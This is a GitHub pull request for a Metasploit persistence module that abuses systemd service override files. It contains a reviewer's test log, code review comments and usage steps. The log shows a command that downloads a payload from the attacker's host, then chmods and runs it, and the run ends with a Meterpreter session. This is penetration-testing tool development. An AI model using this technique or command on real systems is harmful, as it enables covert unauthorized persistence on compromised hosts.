-
Notifications
You must be signed in to change notification settings - Fork 14.5k
persistence: systemd service override #20538
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Found a bug while testing:
msf exploit(linux/persistence/init_systemd_override) > check
[-] Exploit failed: NoMethodError undefined method `arch' for nil:NilClass
[-] Check failed: The state could not be determined.
msf exploit(linux/persistence/init_systemd_override) > run verbose=true
msf exploit(linux/persistence/init_systemd_override) > run verbose=true [*] Command to run on remote host: curl -so ./LkgearXBzOrm http://192.168.3.7:8080/xjLe7cHOrd0bJcg1JEoaHQ;chmod +x ./LkgearXBzOrm;./LkgearXBzOrm&
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf exploit(linux/persistence/init_systemd_override) > [*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /xjLe7cHOrd0bJcg1JEoaHQ
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Backup copy of /etc/systemd/system/ssh.service.d/override.conf stored to: /home/ms/.msf4/loot/20250915163508_default_10.5.132.164_etcsystemdsys_925722.txt
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
[*] Reloading ssh service
[*] Client 10.5.132.164 requested /xjLe7cHOrd0bJcg1JEoaHQ
[*] Sending payload to 10.5.132.164 (curl/7.81.0)
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/10.5.132.164_20250915.3514/10.5.132.164_20250915.3514.rc
[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 10.5.132.164:54192) at 2025-09-15 16:35:16 +0200
Not sure why, but seems like check
method is broken - will investigate more.
documentation/modules/exploit/linux/persistence/init_systemd_override.md
Outdated
Show resolved
Hide resolved
['systemd user', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'Arch' => [ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You may want to check out other arches like MIPS64 and PPC64
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
good point. this list is synced across the non-windows persistence modules, so I think it'll be easier to just do one update and get them all at once. Maybe open a new issue and assign it to me to do that and i'll get to it when the rest of these are landed.
end | ||
|
||
def check | ||
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This seems like a non-issue for ARCH_CMD payloads?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
On second thought, the check
method may not be the best place for this. I feel like the check
method should only verify a vulnerability exists.
Checking for the /tmp
option should probably be done outside the check method, as that's a module setting?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This seems like a non-issue for ARCH_CMD payloads?
correct, however this has been discussed a few times (@dledda-r7 can provide info) and the potential solution was #20497 (review), however, payload isn't initialized in the check method so it will error out. Another module with another r7 reviewer on one of the persistence modules had this issue (can't seem to find it right now).
However, its still a valid warning, if you delayed starting the service and the host was rebooted, when the service came back up your payload would be gone.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
On second thought, the
check
method may not be the best place for this. I feel like thecheck
method should only verify a vulnerability exists. Checking for the/tmp
option should probably be done outside the check method, as that's a module setting?
I think the check method is the right place. If we move it to exploit
the user will get the warning, then have like <5seconds to read it, interpreter it, and job -k #
. That is VERY unlikely to happen in time, and w/o things being written to the system. So I think check
is the right place, especially because its a warning and not a fail and the risk can be evaluated by the user.
|
||
unless exists?(service_dir) | ||
vprint_status("Creating #{service_dir}") | ||
cmd_exec("mkdir -p '#{service_dir}'") # don't use mkdir because it does a register_dir_for_cleanup that we don't want, or it ruins persistence |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This will fail if there's an errant tik or space, so we are avoiding cmd_exec
. Check out the new create_process
where we separate the args as an array: https://github.com/rapid7/metasploit-framework/blob/05273263c9b5723dc591f81e18b204a2cbd078d6/test/modules/post/test/cmd_exec.rb#L219C16-L219C109
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a copy of what happens with the library, so its arguably no worse than mkdir
with a shell. https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/file.rb#L132
|
||
if datastore['ReloadService'] | ||
vprint_status("Reloading #{datastore['SERVICE']} service") | ||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same as above for cmd_exec
…verride.md Co-authored-by: Brendan <[email protected]>
Apparently theres a way to overload systemd services with an
override.conf
file in/etc/
. Did you know that? I didn't. Well, now theres a module to exploit it. You needroot
which is suboptimal, andsystemctl status
shows your session being execute, but it also doesn't overwrite or create a NEW service, so its fairly stealthy?Verification
msfconsole
ssh_login
for instance)use exploit/linux/persistence/init_systemd_override
set SESSION <id>
exploit